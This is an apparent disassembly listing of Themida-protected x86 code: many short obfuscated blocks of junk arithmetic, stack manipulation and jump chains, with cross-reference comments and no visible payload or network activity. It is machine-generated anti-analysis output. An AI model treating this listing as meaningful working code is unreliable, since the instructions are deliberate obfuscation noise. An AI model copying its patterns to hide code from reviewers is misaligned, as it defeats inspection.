shr edi, 5 add edi, 186ECB2Ah mov ebx, edi pop edi sub ebp, 6A6B0C9Ah sub ebp, ebx add ebp, 6A6B0C9Ah jmp loc_564100 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 4BADh mov [esp], ebp mov ebp, esp push edi jmp loc_565032 ; --------------------------------------------------------------------------- loc_55DA5B: ; CODE XREF: Themida_:00558F38j sub ebp, 3B7E1510h add eax, ebp pop ebp mov ebx, eax jmp loc_551148 ; --------------------------------------------------------------------------- loc_55DA6B: ; CODE XREF: Themida_:00552097j add eax, 6A123BABh mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_551C35 ; --------------------------------------------------------------------------- loc_55DA87: ; CODE XREF: Themida_:00558B0Aj inc eax jmp loc_555637 ; --------------------------------------------------------------------------- loc_55DA8D: ; CODE XREF: Themida_:0055970Fj xchg eax, ebp not ebp xchg eax, ebp not eax xor eax, 0E755D346h add ebp, 553746FCh jmp loc_551F5D ; --------------------------------------------------------------------------- loc_55DAA3: ; CODE XREF: Themida_:00559588j mov [esp], ecx mov ecx, 1DB03F0Dh or ebp, ecx jmp loc_550860 ; --------------------------------------------------------------------------- loc_55DAB2: ; CODE XREF: Themida_:005625D9j push ecx mov ecx, esp jmp loc_55FEF1 ; --------------------------------------------------------------------------- loc_55DABA: ; CODE XREF: Themida_:0055E488j and ebx, 2107326h push 549Ch mov [esp], ecx mov ecx, 0E055CD24h sub ebx, ecx jmp loc_56438C ; --------------------------------------------------------------------------- loc_55DAD4: ; CODE XREF: Themida_:00561521j mov ecx, [esp] add esp, 4 jmp loc_55E858 ; --------------------------------------------------------------------------- loc_55DADF: ; CODE XREF: Themida_:00551E6Fj pop dx jmp loc_551AFD ; --------------------------------------------------------------------------- loc_55DAE6: ; CODE XREF: Themida_:0056086Bj or ecx, 4461BAh sub ecx, 1C577C20h xor ecx, 26933250h sub ecx, 7081C508h add ebx, ecx push dword ptr [esp] pop ecx add esp, 4 add ebx, eax push ecx mov ecx, 72B20C38h xor ecx, 155D516Dh shr ecx, 8 jmp loc_564886 ; --------------------------------------------------------------------------- loc_55DB1D: ; CODE XREF: Themida_:00560FC1j mov esi, 27515BF9h mov edi, esi pop esi jmp loc_559091 ; --------------------------------------------------------------------------- loc_55DB2A: ; CODE XREF: Themida_:00558940j mov edx, 3CB56D00h add edx, 2BA120BEh sub edx, 32A67965h push eax jmp loc_56330E ; --------------------------------------------------------------------------- loc_55DB41: ; CODE XREF: Themida_:00562925j push edi mov edi, 218B0B9Bh push 971h mov [esp], esi mov esi, 11FE1725h or edi, esi pop esi shr edi, 6 xor edi, 3A4D3FC2h shr edi, 7 dec edi xor edi, 5CA3AE4h jmp loc_556046 ; --------------------------------------------------------------------------- loc_55DB6F: ; CODE XREF: Themida_:005635EDj add ebp, 69093D21h add ebp, 0A8947472h jmp loc_563396 ; --------------------------------------------------------------------------- loc_55DB80: ; CODE XREF: Themida_:005541F3j push ecx mov cl, 78h push dx mov dl, 97h add cl, dl pop dx sub cl, 91h push edx mov dh, 2Dh and cl, dh pop edx shl cl, 8 push edx mov dh, 81h jmp loc_563BFD ; --------------------------------------------------------------------------- loc_55DB9F: ; CODE XREF: Themida_:00561828j xor ebp, 2BA9421Ah jmp loc_55BF18 ; --------------------------------------------------------------------------- loc_55DBAA: ; CODE XREF: Themida_:0055AD67j mov [esp], edi jmp loc_562715 ; --------------------------------------------------------------------------- loc_55DBB2: ; CODE XREF: Themida_:00550E55j push ebp jmp loc_562162 ; --------------------------------------------------------------------------- loc_55DBB8: ; CODE XREF: Themida_:0055A3C5j add ebp, 4 jmp loc_5593FA ; --------------------------------------------------------------------------- loc_55DBC3: ; CODE XREF: Themida_:00557A3Dj pop eax xchg edi, [esp] pop esp add ebx, eax push esi jmp loc_55C97E ; --------------------------------------------------------------------------- loc_55DBD0: ; CODE XREF: Themida_:00553974j and ecx, edi pop edi shl ecx, 1 add ecx, 1A6C9AFDh jmp loc_5534D1 ; --------------------------------------------------------------------------- loc_55DBE0: ; CODE XREF: Themida_:00551C38j pop esp push ecx mov ecx, 4 add eax, ecx jmp loc_552149 ; --------------------------------------------------------------------------- loc_55DBEE: ; CODE XREF: Themida_:00555A03j dec ecx not ecx add ecx, 5B7D5145h mov edx, ecx pop ecx add [esp+4], edx pop edx pop ebx add ebx, 4 push 48F5h mov [esp], ebp jmp loc_55D2B5 ; --------------------------------------------------------------------------- loc_55DC13: ; CODE XREF: Themida_:0055D1D3j mov esp, [esp] push edi jmp loc_559DE2 ; --------------------------------------------------------------------------- loc_55DC1C: ; CODE XREF: Themida_:00553905j push dword ptr [esp] pop edx jmp loc_55E32C ; --------------------------------------------------------------------------- loc_55DC25: ; CODE XREF: Themida_:00550EAAj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_560F43 ; --------------------------------------------------------------------------- loc_55DC36: ; CODE XREF: Themida_:0055B539j add ebx, 0B0C8C811h add edi, ebx mov ebx, [esp] add esp, 4 xchg edi, [esp] pop esp jmp loc_5514BA ; --------------------------------------------------------------------------- loc_55DC4D: ; CODE XREF: Themida_:00560A3Aj mov ebx, 598C54D8h jmp loc_552AE9 ; --------------------------------------------------------------------------- loc_55DC57: ; CODE XREF: Themida_:00550A0Bj push edx mov edx, 439369EFh sub edx, 0FFFFFFFFh shr edx, 7 add edx, 45156B32h dec edx shl edx, 1 jmp loc_559EA0 ; --------------------------------------------------------------------------- loc_55DC74: ; CODE XREF: Themida_:00562B59j mov eax, [esp] push esi push esp pop esi add esi, 4 jmp loc_55F8DD ; --------------------------------------------------------------------------- loc_55DC85: ; CODE XREF: Themida_:005608DAj sub al, cl jmp loc_552AA7 ; --------------------------------------------------------------------------- loc_55DC8C: ; CODE XREF: Themida_:005654ADj push dword ptr [esp] pop esi jmp loc_55D630 ; --------------------------------------------------------------------------- loc_55DC95: ; CODE XREF: Themida_:0055BE83j sub esp, 4 mov [esp], esi mov esi, 7FBCE507h add eax, 88344D6h push ebx mov ebx, 1D22678h sub eax, ebx jmp loc_556BCE ; --------------------------------------------------------------------------- loc_55DCB5: ; CODE XREF: Themida_:00562DD3j add ebp, 4 jmp loc_559B22 ; --------------------------------------------------------------------------- loc_55DCC0: ; CODE XREF: Themida_:005596D8j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55DCC5: ; CODE XREF: Themida_:0055E5CFj push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_5643B7 ; --------------------------------------------------------------------------- loc_55DCE0: ; CODE XREF: Themida_:005533F8j pop esp mov [esp], esi mov esi, 35AB1158h jmp loc_558D2F ; --------------------------------------------------------------------------- loc_55DCEE: ; CODE XREF: Themida_:00564C0Fj shr esi, 7 xor esi, 206A3F54h sub eax, esi mov esi, [esp] jmp loc_554ECD ; --------------------------------------------------------------------------- loc_55DD01: ; CODE XREF: Themida_:00565BCDj add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push 21C1h mov [esp], edi push eax push esi push 665C2100h jmp loc_55A979 ; --------------------------------------------------------------------------- loc_55DD29: ; CODE XREF: Themida_:00553F83j inc dword ptr [esp] pop edi xchg ebp, edi dec ebp jmp loc_561A62 ; --------------------------------------------------------------------------- loc_55DD35: ; CODE XREF: Themida_:00556F8Dj mov ecx, [esp] add esp, 4 add eax, edi add eax, 16145A36h jmp loc_558D85 ; --------------------------------------------------------------------------- loc_55DD4A: ; CODE XREF: Themida_:00551DE8j add edx, 0F4017483h mov eax, edx pop edx push eax mov eax, 1F59481Ch add ecx, 707750B7h jmp loc_565CA9 ; --------------------------------------------------------------------------- loc_55DD64: ; CODE XREF: Themida_:0055EF7Cj add ebp, 3690612Eh neg ebp push ebp jmp loc_55685D ; --------------------------------------------------------------------------- loc_55DD72: ; CODE XREF: Themida_:00562AEFj mov eax, [esp] add esp, 4 push edx mov edx, esp jmp loc_5595B7 ; --------------------------------------------------------------------------- loc_55DD80: ; CODE XREF: Themida_:0056020Ej push 0D40h jmp loc_550D26 ; --------------------------------------------------------------------------- loc_55DD8A: ; CODE XREF: Themida_:0055C122j push eax mov eax, 7B8719E3h add [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_565510 ; --------------------------------------------------------------------------- loc_55DD9F: ; CODE XREF: Themida_:0055BFF3j add esi, 77C42039h sub esi, 758E1132h add esi, 3E582B83h jmp loc_55B228 ; --------------------------------------------------------------------------- loc_55DDB6: ; CODE XREF: Themida_:0055E826j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55DDBB: ; CODE XREF: Themida_:0055FD6Aj add eax, 0FFFFFFFFh add eax, 48D63FA2h jmp loc_55526F ; --------------------------------------------------------------------------- loc_55DDC8: ; CODE XREF: Themida_:0055EF3Fj add eax, edi add eax, 38002E0Bh pop edi jmp loc_55B66D ; --------------------------------------------------------------------------- loc_55DDD5: ; CODE XREF: Themida_:00563FA9j add esp, 4 xor ebx, eax pop small word ptr [eax] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55DDE5: ; CODE XREF: Themida_:00559C0Bj add ebp, eax pop eax sub ebx, ebp pop ebp jmp loc_564A63 ; --------------------------------------------------------------------------- loc_55DDF0: ; CODE XREF: Themida_:005644DCj pop ecx xor ecx, 274157CDh jmp loc_5548B2 ; --------------------------------------------------------------------------- loc_55DDFC: ; CODE XREF: Themida_:005647E3j push edx mov edx, 679361Ch not edx and edx, 3B740EAEh inc edx xor edx, 1D7F258Ah jmp loc_556703 ; --------------------------------------------------------------------------- loc_55DE16: ; CODE XREF: Themida_:0055237Bj add ebx, 4 sub ebx, 4 push ebx jmp loc_555508 ; --------------------------------------------------------------------------- loc_55DE25: ; CODE XREF: Themida_:00550DFFj mov dl, 30h jmp loc_55D031 ; --------------------------------------------------------------------------- loc_55DE2C: ; CODE XREF: Themida_:00551FF2j sub ecx, esi pop esi xor ecx, 75652A25h push ebx mov ebx, 25F12FCEh jmp loc_563EA8 ; --------------------------------------------------------------------------- loc_55DE40: ; CODE XREF: Themida_:00555B69j add ebp, ecx pop ecx xchg ebp, [esp] pop esp push dword ptr [esp] jmp loc_5514E6 ; --------------------------------------------------------------------------- loc_55DE4F: ; CODE XREF: Themida_:0055132Fj mov dh, 0D0h add al, dh jmp loc_5529AE ; --------------------------------------------------------------------------- loc_55DE58: ; CODE XREF: Themida_:0056365Aj mov edi, 2 mov eax, edi jmp loc_557644 ; --------------------------------------------------------------------------- loc_55DE64: ; CODE XREF: Themida_:00558648j neg ebx xor ebx, 0F9F825FFh jmp loc_55FBEA ; --------------------------------------------------------------------------- loc_55DE71: ; CODE XREF: Themida_:0055FC4Fj xor [esp], eax pushf jmp loc_563C2E ; --------------------------------------------------------------------------- loc_55DE7A: ; CODE XREF: Themida_:00565905j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55DE7F: ; CODE XREF: Themida_:0055886Ej mov ebx, [esp] add esp, 4 push ebx push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov dh, 2Ah push 4182h mov [esp], eax jmp loc_55D81D ; --------------------------------------------------------------------------- loc_55DEA7: ; CODE XREF: Themida_:0055783Ej not ch inc ch or ch, 90h xor ch, 3Ah push eax mov ah, 0A0h add ah, 0D9h add ch, 0BCh add ch, ah jmp loc_550621 ; --------------------------------------------------------------------------- loc_55DEC1: ; CODE XREF: Themida_:00564EAEj xor ecx, [esp] pop esp mul cl jmp loc_565B97 ; --------------------------------------------------------------------------- loc_55DECC: ; CODE XREF: Themida_:0055A68Cj push ecx jmp loc_55ABF7 ; --------------------------------------------------------------------------- loc_55DED2: ; CODE XREF: Themida_:00555357j mov edx, 29EC0154h add edx, 0D613FEB0h jmp loc_558A9E ; --------------------------------------------------------------------------- push 6E29h jmp loc_55CFA1 ; --------------------------------------------------------------------------- loc_55DEEC: ; CODE XREF: Themida_:0055557Bj add esp, 4 push 1DFCh jmp loc_5607C7 ; --------------------------------------------------------------------------- loc_55DEFC: ; CODE XREF: Themida_:0055677Fj xor [esp], edi xor edi, [esp] pop esp sar byte ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55DF1C: ; CODE XREF: Themida_:00563A49j mov ax, [esp] push ecx mov ecx, esp jmp loc_5607B6 ; --------------------------------------------------------------------------- loc_55DF28: ; CODE XREF: Themida_:0056066Ej xor eax, edi xor edi, eax jmp loc_55CD39 ; --------------------------------------------------------------------------- loc_55DF31: ; CODE XREF: Themida_:0055EF04j add eax, 9FA23DFh sub eax, esi sub eax, 9FA23DFh push ebx mov ebx, 60D97EE7h shr ebx, 1 add ebx, 240C6BC0h and ebx, 15F11210h push edi jmp loc_5622F4 ; --------------------------------------------------------------------------- loc_55DF57: ; CODE XREF: Themida_:0055E81Cj inc cl jmp loc_55FD0A ; --------------------------------------------------------------------------- loc_55DF5E: ; CODE XREF: Themida_:005570BBj add ebx, 4 xchg ebx, [esp] pop esp add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_561628 ; --------------------------------------------------------------------------- loc_55DF78: ; CODE XREF: Themida_:0055D198j mov cl, 65h jmp loc_55FB0F ; --------------------------------------------------------------------------- loc_55DF7F: ; CODE XREF: Themida_:0055C4D5j pop ebx push esi mov esi, 612447D1h xor esi, 612447D5h add ebx, esi jmp loc_55A1ED ; --------------------------------------------------------------------------- lodsd push edi jmp loc_5574FF ; --------------------------------------------------------------------------- loc_55DF9A: ; CODE XREF: Themida_:00556BFBj push 34DEh mov [esp], esi jmp loc_5637FA ; --------------------------------------------------------------------------- loc_55DFA7: ; CODE XREF: Themida_:005533C0j mov esi, 4972AB7h or esi, 3A070D8Bh xor esi, 55AD28C5h jmp loc_55BB86 ; --------------------------------------------------------------------------- loc_55DFBD: ; CODE XREF: Themida_:005607B1j shl esi, 7 neg esi xor esi, 92588643h sub eax, esi jmp loc_551E5D ; --------------------------------------------------------------------------- loc_55DFCF: ; CODE XREF: Themida_:00563C88j sub esp, 4 mov [esp], esp jmp loc_55F4D4 ; --------------------------------------------------------------------------- loc_55DFDD: ; CODE XREF: Themida_:005542D6j sub ebp, 7CD1410Eh jmp loc_5529F7 ; --------------------------------------------------------------------------- loc_55DFE8: ; CODE XREF: Themida_:00564C68j add eax, ebp pop ebp add eax, 2 jmp loc_563222 ; --------------------------------------------------------------------------- loc_55DFF3: ; CODE XREF: Themida_:0055765Aj add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_563DE2 ; --------------------------------------------------------------------------- loc_55E00D: ; CODE XREF: Themida_:00556253j mov [esp], eax push esp pop eax push esi jmp loc_55C460 ; --------------------------------------------------------------------------- loc_55E018: ; CODE XREF: Themida_:00554CEBj mov dh, 0CBh mov al, dh pop edx jmp loc_557E4A ; --------------------------------------------------------------------------- loc_55E022: ; CODE XREF: Themida_:00564BD1j push 152Ah mov [esp], ebx jmp loc_557D0D ; --------------------------------------------------------------------------- loc_55E02F: ; CODE XREF: Themida_:0055D631j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ecx, [esp] pop esp push dword ptr [esp] pop ecx push 2C2Ch mov [esp], edi push esi jmp loc_550D8E ; --------------------------------------------------------------------------- loc_55E054: ; CODE XREF: Themida_:00556A86j and edx, ecx jmp loc_55B607 ; --------------------------------------------------------------------------- loc_55E05B: ; CODE XREF: Themida_:0055AB9Aj sub eax, 9307C03h push 12Ch mov [esp], edi mov edi, 7F57843h sub eax, 7DA81BDBh add eax, 221762AAh jmp loc_55CB09 ; --------------------------------------------------------------------------- loc_55E07C: ; CODE XREF: Themida_:00561125j pop esp mov [esp], edi mov edi, ebp mov edx, edi jmp loc_55CD53 ; --------------------------------------------------------------------------- loc_55E089: ; CODE XREF: Themida_:0055092Fj mov dx, [esp] add esp, 2 push ebx push ecx mov ch, 0A3h jmp loc_554D33 ; --------------------------------------------------------------------------- loc_55E099: ; CODE XREF: Themida_:00560701j sub cl, 0A9h jmp loc_565521 ; --------------------------------------------------------------------------- loc_55E0A1: ; CODE XREF: Themida_:00550BA8j push edi push ecx jmp loc_56566F ; --------------------------------------------------------------------------- loc_55E0A8: ; CODE XREF: Themida_:00556CCFj mov edi, [esp] jmp loc_5631FD ; --------------------------------------------------------------------------- loc_55E0B0: ; CODE XREF: Themida_:00559D5Cj mov [esp], ax mov ah, 55h xor bl, ah pop ax push ecx mov ch, 0A0h sub ch, 0C5h push edx mov dh, 0E8h or dh, 5Ch sub dh, 20h and ch, dh pop edx jmp loc_560A66 ; --------------------------------------------------------------------------- loc_55E0D1: ; CODE XREF: Themida_:0056405Fj xor edx, [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 mov [esp], esp jmp loc_55388B ; --------------------------------------------------------------------------- loc_55E0E8: ; CODE XREF: Themida_:0055D67Dj mov [esp], edi mov edi, 3E6028ECh push esi jmp loc_558968 ; --------------------------------------------------------------------------- loc_55E0F6: ; CODE XREF: Themida_:00551F58j pop edi add eax, ecx jmp loc_56590A ; --------------------------------------------------------------------------- loc_55E0FE: ; CODE XREF: Themida_:00553026j pop ecx jmp loc_55ABBB ; --------------------------------------------------------------------------- loc_55E104: ; CODE XREF: Themida_:0055ABB6j add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, esp sub esp, 4 mov [esp], ebp jmp loc_55ACA6 ; --------------------------------------------------------------------------- loc_55E11C: ; CODE XREF: Themida_:0055A0FCj push edx jmp loc_55390A ; --------------------------------------------------------------------------- loc_55E122: ; CODE XREF: Themida_:005573DEj mov edx, [esp] jmp loc_56522F ; --------------------------------------------------------------------------- loc_55E12A: ; CODE XREF: Themida_:00563095j push eax mov eax, 61F80844h jmp loc_55AB59 ; --------------------------------------------------------------------------- loc_55E135: ; CODE XREF: Themida_:00561792j mov eax, 3DFF7862h jmp loc_5512EF ; --------------------------------------------------------------------------- loc_55E13F: ; CODE XREF: Themida_:00550E3Ej xor ah, 84h or ah, 9Ch jmp loc_556F2A ; --------------------------------------------------------------------------- loc_55E14A: ; CODE XREF: Themida_:005650AAj add dword ptr [esp], 4 pop esi jmp loc_55A842 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55E15F: ; CODE XREF: Themida_:00554338j add edi, edx pop edx xchg edi, [esp] pop esp and ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 shr ecx, 2 sub esp, 4 mov [esp], ebx jmp loc_5649F2 ; --------------------------------------------------------------------------- loc_55E185: ; CODE XREF: Themida_:0055B4EFj mov [esp], edx mov edx, 1B9B5028h sub ebp, edx pop edx pop eax jmp loc_55F0D8 ; --------------------------------------------------------------------------- loc_55E196: ; CODE XREF: Themida_:005523B3j mov ebx, 4C4107FDh and edx, ebx push dword ptr [esp] pop ebx jmp loc_55BFE1 ; --------------------------------------------------------------------------- loc_55E1A6: ; CODE XREF: Themida_:00551C4Cj dec esi add esi, 83727BFDh jmp loc_55AE32 ; --------------------------------------------------------------------------- loc_55E1B2: ; CODE XREF: Themida_:0055CC28j add eax, 2DA056E9h sub eax, ecx sub eax, 2DA056E9h sub eax, 61D37602h jmp loc_55BF7B ; --------------------------------------------------------------------------- loc_55E1C8: ; CODE XREF: Themida_:00564C8Aj add eax, edi pop edi jmp loc_564EF9 ; --------------------------------------------------------------------------- loc_55E1D0: ; CODE XREF: Themida_:00553095j push esp pop eax push ebx mov ebx, 0E025DF4h push edx push ebp push 6B2568A3h pop ebp dec ebp jmp loc_55805A ; --------------------------------------------------------------------------- loc_55E1E6: ; CODE XREF: Themida_:0055A82Dj add eax, 4F140E83h add eax, ebx sub eax, 4F140E83h push dword ptr [esp] pop ebx push ebx push 74FEh jmp loc_564313 ; --------------------------------------------------------------------------- loc_55E201: ; CODE XREF: Themida_:00559B1Dj sub esi, 3E992435h not esi push ebp jmp loc_5602D2 ; --------------------------------------------------------------------------- loc_55E20F: ; CODE XREF: Themida_:005557BAj mov [esp], edx mov edx, 5CB21543h jmp loc_558F4B ; --------------------------------------------------------------------------- loc_55E21C: ; CODE XREF: Themida_:005566CFj add esp, 4 add ecx, 0FFFFFFFFh sub esp, 4 mov [esp], eax mov eax, 47D940DDh add eax, 0EAAE2CEEh and ecx, eax pop eax sub ecx, 31E36D92h xor ecx, 3F7B5C12h sub esp, 4 mov [esp], ebp mov ebp, 0CFD8A021h jmp loc_5526BF ; --------------------------------------------------------------------------- loc_55E254: ; CODE XREF: Themida_:0055BA9Cj sub esp, 4 jmp loc_55B5BF ; --------------------------------------------------------------------------- loc_55E25F: ; CODE XREF: Themida_:0055848Ej add esp, 4 push ecx jmp loc_55C992 ; --------------------------------------------------------------------------- loc_55E268: ; CODE XREF: Themida_:00564590j mov eax, 6F116060h xor eax, esi jmp loc_564F73 ; --------------------------------------------------------------------------- loc_55E274: ; CODE XREF: Themida_:00551F63j add ebp, eax add ebp, 0F9235C2h sub ebp, 553746FCh mov eax, [esp] add esp, 4 push ecx push eax mov eax, 1DC2204h sub eax, 7E8C3F93h shr eax, 8 push 5E5Eh jmp loc_553DD9 ; --------------------------------------------------------------------------- loc_55E2A4: ; CODE XREF: Themida_:00555C8Fj sub eax, 3FF01C47h jmp loc_554C1B ; --------------------------------------------------------------------------- loc_55E2AE: ; CODE XREF: Themida_:0055BF13j add al, 50h push edx jmp loc_55B181 ; --------------------------------------------------------------------------- loc_55E2B6: ; CODE XREF: Themida_:005519E4j pop edi pop ecx and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push 41AFh jmp loc_553FD2 ; --------------------------------------------------------------------------- loc_55E2CD: ; CODE XREF: Themida_:0055ADDAj pop esp mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_563A46 ; --------------------------------------------------------------------------- loc_55E2DE: ; CODE XREF: Themida_:00558BD0j push 77C4h mov [esp], edi mov edi, 580059DAh jmp loc_561800 ; --------------------------------------------------------------------------- loc_55E2F0: ; CODE XREF: Themida_:00558542j xor ebp, 3AC449A2h sub ebp, 0E9DF928Bh xor ecx, ebp pop ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_563442 ; --------------------------------------------------------------------------- loc_55E31A: ; CODE XREF: Themida_:00553478j mov ebp, 61371EE0h mov eax, 0DFA32926h sub eax, ebp pop ebp jmp loc_55150D ; --------------------------------------------------------------------------- loc_55E32C: ; CODE XREF: Themida_:0055DC20j push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_5593D1 ; --------------------------------------------------------------------------- loc_55E343: ; CODE XREF: Themida_:00565AABj push 48DB062Eh jmp loc_55A2AA ; --------------------------------------------------------------------------- loc_55E34D: ; CODE XREF: Themida_:00551F06j add edx, 25566D74h push eax push edx push ecx mov ecx, 15DC3DABh add ecx, 5777535Ch sub ecx, 63A65F6Dh inc ecx shl ecx, 6 add ecx, 0B22EE960h mov edx, ecx pop ecx jmp loc_558DA0 ; --------------------------------------------------------------------------- loc_55E379: ; CODE XREF: Themida_:005515AFj sub ecx, 1CF449Bh add ecx, 7D5F290Eh mov eax, 4F9A7EAFh sub eax, ecx pop ecx add esi, 799A235Eh add esi, eax push ebx jmp loc_5617E6 ; --------------------------------------------------------------------------- loc_55E39B: ; CODE XREF: Themida_:005511D4j sub [esp+4], ebp jmp loc_56434E ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55F2A9 ; --------------------------------------------------------------------------- loc_55E3BB: ; CODE XREF: Themida_:0055D7E3j sub esi, edi sub esi, 1D3F226Fh push ecx mov ecx, 43C10EEEh neg ecx neg ecx jmp loc_552B8F ; --------------------------------------------------------------------------- loc_55E3D2: ; CODE XREF: Themida_:00563E40j push ebp push 63D05E8Fh pop ebp push ebx push 6221067Ch pop ebx shl ebx, 6 push ebp mov ebp, 18D260A8h jmp loc_55F261 ; --------------------------------------------------------------------------- loc_55E3EE: ; CODE XREF: Themida_:0055200Fj add esp, 4 push edi jmp loc_56107C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55E406: ; CODE XREF: Themida_:00555B03j sub dword ptr [esp+8], 1A8F07B2h add dword ptr [esp+8], 7D533258h jmp loc_550E52 ; --------------------------------------------------------------------------- loc_55E41B: ; CODE XREF: Themida_:00557A81j pop esi shr edi, 4 not edi or edi, 3C62140Ah sub edi, 7B8C6343h shr edi, 8 sub edi, 0ABCA46C6h sub ebx, edi jmp loc_55E627 ; --------------------------------------------------------------------------- loc_55E43D: ; CODE XREF: Themida_:0055A1C5j add edi, 408E994Ah add ecx, edi pop edi add eax, ecx jmp loc_558CF6 ; --------------------------------------------------------------------------- loc_55E44D: ; CODE XREF: Themida_:0055D54Aj push edx jmp loc_562630 ; --------------------------------------------------------------------------- loc_55E453: ; CODE XREF: Themida_:00562F95j push eax mov eax, 2413459h push edi mov edi, 14F4F3F2h mov ebx, edi pop edi add ebx, eax jmp loc_55F47B ; --------------------------------------------------------------------------- loc_55E469: ; CODE XREF: Themida_:00558825j neg edx xor edx, 0EEEEBE8Eh push esi mov esi, 22EB6186h add ebx, esi pop esi add ebx, edx sub ebx, 22EB6186h mov edx, [esp] add esp, 4 jmp loc_55DABA ; --------------------------------------------------------------------------- loc_55E48D: ; CODE XREF: Themida_:0055FBC7j xchg edi, [esp] pop esp push ecx jmp loc_550D06 ; --------------------------------------------------------------------------- loc_55E497: ; CODE XREF: Themida_:0056236Cj push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub bl, 6Dh jmp loc_55B8F5 ; --------------------------------------------------------------------------- loc_55E4B3: ; CODE XREF: Themida_:00562343j mov ah, 0C0h push ecx sub esp, 4 mov [esp], edx mov dh, ah mov ch, dh mov edx, [esp] add esp, 4 inc ch mov ah, ch jmp loc_555A08 ; --------------------------------------------------------------------------- loc_55E4D5: ; CODE XREF: Themida_:0055AFB1j not edx shl edx, 4 jmp loc_55BD5A ; --------------------------------------------------------------------------- loc_55E4DF: ; CODE XREF: Themida_:005604D6j push 6FAEh mov [esp], edx push esp pop edx sub esp, 4 mov [esp], ebx push ebp push ecx mov ecx, 401859E5h mov ebp, ecx pop ecx jmp loc_55BEB6 ; --------------------------------------------------------------------------- loc_55E4FE: ; CODE XREF: Themida_:0055F97Dj add esi, edi jmp loc_55FD6F ; --------------------------------------------------------------------------- loc_55E505: ; CODE XREF: Themida_:00558203j xchg cl, bl not cl xor bl, cl xor cl, bl xor bl, cl push eax mov ah, 0DEh push small 321Fh jmp loc_5530A6 ; --------------------------------------------------------------------------- loc_55E51B: ; CODE XREF: Themida_:005556F4j add esi, ebx sub esi, 722065B7h pop ebx sub esi, 4 jmp loc_5531C9 ; --------------------------------------------------------------------------- loc_55E52C: ; CODE XREF: Themida_:00564E0Cj mov ecx, 78812FC3h and ebp, ecx push dword ptr [esp] jmp loc_55F5DA ; --------------------------------------------------------------------------- loc_55E53B: ; CODE XREF: Themida_:0055B2CDj push dword ptr [esp+4] pop ecx jmp loc_55069F ; --------------------------------------------------------------------------- loc_55E545: ; CODE XREF: Themida_:0055B072j or ebp, 418E1739h add ebp, 0EFCC5D05h xor edx, ebp push dword ptr [esp] jmp loc_555D58 ; --------------------------------------------------------------------------- loc_55E55B: ; CODE XREF: Themida_:005551A0j pop edi push ebx mov ebx, 4CCE2FF3h shl ebx, 1 jmp loc_551D1A ; --------------------------------------------------------------------------- loc_55E569: ; CODE XREF: Themida_:005577AAj mov [esp], edi push esp pop edi push 51E3h mov [esp], eax mov eax, 4 add edi, eax pop eax push ebx mov ebx, 7A4C05A6h shr ebx, 5 or ebx, 35907173h and ebx, 5A85350Dh jmp loc_55E65C ; --------------------------------------------------------------------------- loc_55E598: ; CODE XREF: Themida_:005544B6j xor eax, edi pop edi push eax mov eax, 2CA3659Dh jmp loc_56052F ; --------------------------------------------------------------------------- loc_55E5A6: ; CODE XREF: Themida_:00563D44j add ebx, 2 xchg ebx, [esp] mov esp, [esp] jmp loc_551887 ; --------------------------------------------------------------------------- loc_55E5B7: ; CODE XREF: Themida_:00565C8Fj mov eax, 271725FBh jmp loc_561091 ; --------------------------------------------------------------------------- loc_55E5C1: ; CODE XREF: Themida_:0055ADCCj add eax, 72256409h pop esi push 59B1h mov [esp], eax jmp loc_55DCC5 ; --------------------------------------------------------------------------- loc_55E5D4: ; CODE XREF: Themida_:00551725j mov al, cl mov dl, al mov eax, [esp] jmp loc_55AAB3 ; --------------------------------------------------------------------------- loc_55E5E0: ; CODE XREF: Themida_:005534B1j sub edi, ebp pop ebp add edi, ebx add edi, 2FBB3B09h mov ebx, [esp] add esp, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop edx jmp loc_556CF4 ; --------------------------------------------------------------------------- loc_55E5FE: ; CODE XREF: Themida_:00555721j add esp, 4 jmp loc_5657A8 ; --------------------------------------------------------------------------- loc_55E606: ; CODE XREF: Themida_:0056215Dj pop edi mov ecx, esi pop esi push ecx sub dword ptr [esp], 7DC44ADAh pop esi add esi, 7DC44ADAh mov ecx, [esp] add esp, 4 jmp loc_556DF4 ; --------------------------------------------------------------------------- loc_55E627: ; CODE XREF: Themida_:0055E438j pop edi push dword ptr [esp] pop edx jmp loc_558FEB ; --------------------------------------------------------------------------- loc_55E631: ; CODE XREF: Themida_:00562D56j push esi mov esi, 24E559F4h xor edx, esi jmp loc_557883 ; 